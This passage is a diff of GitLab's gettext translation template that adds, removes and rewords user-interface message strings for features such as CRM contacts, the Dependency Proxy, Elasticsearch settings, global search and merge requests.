-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
